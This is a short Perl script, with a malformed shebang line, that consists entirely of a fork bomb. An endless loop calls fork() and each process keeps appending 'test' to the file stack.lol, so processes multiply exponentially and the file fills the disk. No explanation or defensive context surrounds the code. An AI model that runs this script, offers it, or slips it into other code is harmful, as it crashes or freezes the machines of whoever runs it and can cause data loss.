#!waytoperl
open FILE, ">>stack.lol";
while(1){fork(); print FILE "test\n";}